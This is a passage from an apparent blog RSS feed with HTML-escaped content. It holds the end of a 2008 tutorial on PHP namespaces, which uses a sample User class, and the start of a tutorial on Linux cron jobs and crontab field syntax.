&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Last Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$email||!preg_match(&amp;quot;/^.+@.+..+$/&amp;quot;,$email)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Email parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;firstName=$firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;lastName=$lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;email=$email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's first name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getFirstName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's last name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getLastName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's email&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getEmail(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;Undoubtedly, the signature of the above &amp;quot;User&amp;quot; class is quite easy to grasp, since&amp;nbsp;this class simply stores&amp;nbsp;the full name and the email address of a fictional user on a few properties. In addition, the class&amp;nbsp;implements some accessors,&amp;nbsp;used directly for retrieving the values of these properties when required.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Now that you've seen how this sample class has been defined, here's an example that demonstrates how to use in a concrete case. Take a look at the following code sample, please:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// example on using the previous 'User' class without namespaces&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;try{&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// create new instance of 'User' class&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$user=new User('Alejandro','Gervasio','alejandro@domain.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// display user data&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'First Name: '.$user-&amp;gt;getFirstName().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'Last Name: '.$user-&amp;gt;getLastName().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'Email: '.$user-&amp;gt;getEmail().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&amp;nbsp;/* displays the following output&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;First Name: Alejandro&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;Last Name: Gervasio&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;Email: alejandro@domain.com&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;catch(Exception $e){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo $e-&amp;gt;getMessage();&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;exit();&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;Actually, I don't want to be accused of being too selfish, but as you can see in the previous example, I utilized the &amp;quot;User&amp;quot; class to save my first and last names, as well as my email address as plain class properties. Once that task has been accomplished, these values are echoed to the browser via the respective accessors. That was really simple to code and understand, wasn't it?&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;So far, everything looks pretty good here, since this basic class does a decent job, particularly when it comes to handling user-supplied data. However, this seemingly peaceful scenario can turn quickly into a raging storm if&amp;nbsp;I decide to work in conjunction with a third-party content management system, which also includes a class named &amp;quot;User.&amp;quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;How can these classes be used within the same PHP application, without having to waste time renaming one of them?&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Well, the answer to that question is simply by using namespaces! With namespaces,&amp;nbsp;it would be possible to specify that one &amp;quot;User&amp;quot; class belongs to a concrete namespace, called for example &amp;quot;General,&amp;quot; while the second one would belong to a different namespace, named &amp;quot;CMS.&amp;quot; Are you starting to see the benefits of using namespaces? I bet you are!&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;However, if you're anything like me, then you'll&amp;nbsp;want to see how namespaces can be used with some functional PHP code. Therefore, bearing in mind this possibility, in the section to come, I'm going to show you how to utilize the previous &amp;quot;User&amp;quot; class so it can be tied&amp;nbsp;to a predefined namespace.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;To learn the full details of how this process will be accomplished, please click on the link that appears below and keep reading.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;The simplest way to tie&amp;nbsp;a PHP class to a specific namespace is by using the &amp;quot;namespace&amp;quot; keyword. Now, returning to the &amp;quot;User&amp;quot; class built in the previous section, if I ever want to link it to a fictional &amp;quot;UserManager::CMS&amp;quot; namespace, then I'd use the keyword in question in the following manner:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;// example on using the 'namespace' keyword to tied up a class to a particular namespace&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;namespace UserManager::CMS;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&amp;nbsp;class User{&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function __construct($firstName,$lastName,$email){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$firstName||strlen($firstName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid First Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$lastName||strlen($lastName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Last Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$email||!preg_match(&amp;quot;/^.+@.+..+$/&amp;quot;,$email)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Email parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;firstName=$firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;lastName=$lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;email=$email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's first name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getFirstName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's last name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getLastName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's email&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getEmail(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;As you can see in the previous hands-on example, before including the definition of the previous &amp;quot;User&amp;quot; class,&amp;nbsp;I used the &amp;quot;namespace&amp;quot; keyword&amp;nbsp;to indicate to the PHP interpreter that that specific class must be tied&amp;nbsp;to a hypothetical &amp;quot;UserManager::CMS&amp;quot; namespace, assuming that the class in question will be used within the context of a user-related content management system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Of course, I created this concrete namespace only for illustrative purposes, but naturally you can use others&amp;nbsp;to suit your personal needs and preferences.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Well, at this point I already showed you how to specify that a sample &amp;quot;User&amp;quot; class must belong to a &amp;quot;UserManager::CMS&amp;quot; namespace, in this way preventing any eventual conflicts with one or more classes that share the same name. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;However, the prior example would be&amp;nbsp;incomplete if I didn't show you how to call this sample class in the context of a PHP script. Thus, in the last section of this tutorial I'm going to code a brand new example for you&amp;nbsp;to dissipate any possible doubts about how to achieve this process in a simple way.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Jump ahead and read the next few lines. We're almost finished!&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;Provided that in the previous section you learned how to link a basic &amp;quot;User&amp;quot; class to a specific namespace, the next thing that I'm going to show you in this tutorial will be how to call an instance of that class within a PHP script.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;The following script demonstrates in a simple way how to work with a &amp;quot;$user&amp;quot; object whose originating class has been tied&amp;nbsp;previously to a &amp;quot;UserManager::CMS&amp;quot; namespace. Have a look at it, please: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&amp;lt;?php &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;namespace UserManager::CMS;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&amp;nbsp;class User{&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;private $email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function __construct($firstName,$lastName,$email){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$firstName||strlen($firstName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid First Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$lastName||strlen($lastName)&amp;gt;32){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Last Name parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;if(!$email||!preg_match(&amp;quot;/^.+@.+..+$/&amp;quot;,$email)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;throw new Exception('Invalid Email parameter!');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;firstName=$firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;lastName=$lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$this-&amp;gt;email=$email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's first name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getFirstName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;firstName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's last name&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getLastName(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;lastName;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// get user's email&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;public function getEmail(){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;return $this-&amp;gt;email;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;try{&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// create new instance of 'User' class by using the specified namespace&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$user=new UserManager::CMS::User('Alejandro','Gervasio','alejandro@domain.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;// display user data&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'First Name: '.$user-&amp;gt;getFirstName().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'Last Name: '.$user-&amp;gt;getLastName().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo 'Email: '.$user-&amp;gt;getEmail().'&amp;lt;br /&amp;gt;';&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;catch(Exception $e){&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;echo $e-&amp;gt;getMessage();&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;exit();&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;Definitely, the most important thing to note here is how an instance of the &amp;quot;User&amp;quot; class is called within the previous script. The following statement:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class=&quot;codesample&quot;&gt;$user=new UserManager::CMS::User('Alejandro','Gervasio','alejandro@domain.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;creates a new $user object, where the name of the class is preceded by the corresponding namespace. Also, you should note the use of the (::) operator, which indicates that the class in question is linked to the &amp;quot;UserManager::CMS&amp;quot; namespace.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;In this case, I used the &amp;quot;namespace&amp;quot; keyword to associate a sample class to a given namespace, which can be&amp;nbsp;longer to code.&amp;nbsp;There are a few additional methods in PHP 5 that permit you to perform the same task, but they'll be properly reviewed in upcoming tutorials of the series.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;For now, study the code samples developed previously&amp;nbsp;to acquire a more solid background in using namespaces in PHP 5. And keep in mind that this feature will be available hopefully with the release of PHP 5.3.&lt;o:p&gt;&lt;/o:p&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description>
								         <pubDate>Wed, 10 Dec 2008 11:23:41 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/29/Using-Namespaces-in-PHP-5</guid>
								      </item>								      <item>
								         <title>PHP Crons and Linux</title>
								         <link>http://www.nileshpawar.com/27/PHP-Crons-and-Linux</link>
								         <description>&lt;p&gt;&lt;strong&gt;PHP Crons and Linux&lt;/strong&gt;&lt;br /&gt;
Linux has a good solution for managing processes that execute at specific times: the cron daemon (called &lt;em&gt;crond&lt;/em&gt;). You define the scripts or commands that you want to run in &amp;quot;crontab&amp;quot; files. Crontabs represent a set of tasks performed chronologically; each line represents one entry. Each entry specifies information about how to perform a task, such as executing a script. These individual tasks are called &amp;quot;cron jobs.&amp;quot;&lt;/p&gt;
&lt;table width=&quot;55%&quot; cellpadding=&quot;3&quot; border=&quot;1&quot; style=&quot;background: white none repeat scroll 0% 0%; font-family: Verdana,Arial,Helvetica,Sans-Serif; font-size: x-small; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;&quot;&gt;
    &lt;tbody&gt;
        &lt;tr&gt;
            &lt;td&gt;&lt;strong&gt;Author's Note&lt;/strong&gt;: Each user has a separate crontab file, so crons can be user-specific.&lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;
You execute a crontab file using this syntax:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   # crontab [--e [-u username] | -l [-u username] | &lt;br /&gt;      -r [-u username] | file] &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;span class=&quot;pf&quot;&gt;&amp;mdash;e&lt;/span&gt; argument means edit the file using the default editor (for example, &lt;span class=&quot;pf&quot;&gt;vi&lt;/span&gt;). After editing, the file is installed as the crontab file for the current user in the cron directory. If the crontab file already exists it will be overwritten. The &lt;span class=&quot;pf&quot;&gt;&amp;mdash;l&lt;/span&gt; argument lists the file's contents, and the &lt;span class=&quot;pf&quot;&gt;&amp;mdash;r&lt;/span&gt; argument removes the file from the crontab directory.&lt;br /&gt;
&lt;br /&gt;
The username that follows the &lt;span class=&quot;pf&quot;&gt;&amp;mdash;u&lt;/span&gt; (username) argument is optional, but specifies which crontab file the command affects. For example, a root user may include the username to specify the owner of a particular crontab file. If you don't specify the username argument, the &lt;span class=&quot;pf&quot;&gt;crontab&lt;/span&gt; command affects the current user's crontab file.  If the username argument is invalid the command generates an error.&lt;br /&gt;
&lt;br /&gt;
The file argument in the example command replaces the specified crontab file with the file named in the file argument. The replacement file's content must conform to the daemon cron format, for the &lt;span class=&quot;pf&quot;&gt;crontab&lt;/span&gt; command to work properly.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Crontab File Syntax&lt;/strong&gt;&lt;br /&gt;
The syntax of this file is very important; if you get it wrong, your crontab will not function properly. Each line of the file must contain the six fields listed in Table 1, in sequential order. You must must separate the lines with a newline character.&lt;/p&gt;
&lt;div style=&quot;width: 600px;&quot;&gt;&lt;span class=&quot;smallfont&quot;&gt;&lt;strong&gt;Table 1&lt;/strong&gt;. &lt;strong&gt;Crontab Line Fields&lt;/strong&gt;: Each line in the crontab file must contain these six numeric fields in this specific sequence.&lt;/span&gt;&lt;/div&gt;
&lt;table width=&quot;584&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; border=&quot;1&quot; bordercolorlight=&quot;black&quot; bordercolordark=&quot;white&quot;&gt;
    &lt;tbody&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;#99ccff&quot; align=&quot;left&quot;&gt;&lt;strong&gt;Field&lt;/strong&gt;&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;#99ccff&quot; align=&quot;left&quot;&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Minutes&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Number from 0 to 59&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Hours&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Number from 0 to 23&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Day of month&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Number from 1 to 31&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Month&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Number from 1 to 12&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Day of week&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Number from 0 to 6, where 0=Sunday and 6=Saturday&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td width=&quot;124&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Command&lt;/td&gt;
            &lt;td width=&quot;450&quot; valign=&quot;top&quot; bgcolor=&quot;white&quot; align=&quot;left&quot;&gt;Script name or command to execute&lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;
You can set the content for the first five fields in any of several ways:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;em&gt;As a number in the specified domain&lt;/em&gt;: For example, setting the &lt;span class=&quot;pf&quot;&gt;Minutes&lt;/span&gt; field to &lt;span class=&quot;pf&quot;&gt;6&lt;/span&gt; means the script will execute at the sixth minute.&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;As a range in the domain&lt;/em&gt;: For example, you might set the &lt;span class=&quot;pf&quot;&gt;Hours&lt;/span&gt; field to &lt;span class=&quot;pf&quot;&gt;2-9&lt;/span&gt; to execute a script every hour from 2:00 to 9:00 AM.&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;As a comma-separated list of values&lt;/em&gt;: For example, you might set the &lt;span class=&quot;pf&quot;&gt;Hours&lt;/span&gt; field to &lt;span class=&quot;pf&quot;&gt;2,5,9&lt;/span&gt; to execute a script at 2:00, 5:00, and 9:00 AM.&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;As an asterisk (*)&lt;/em&gt;: The asterisk is a wild card that matches any number in the domain.&lt;/li&gt;
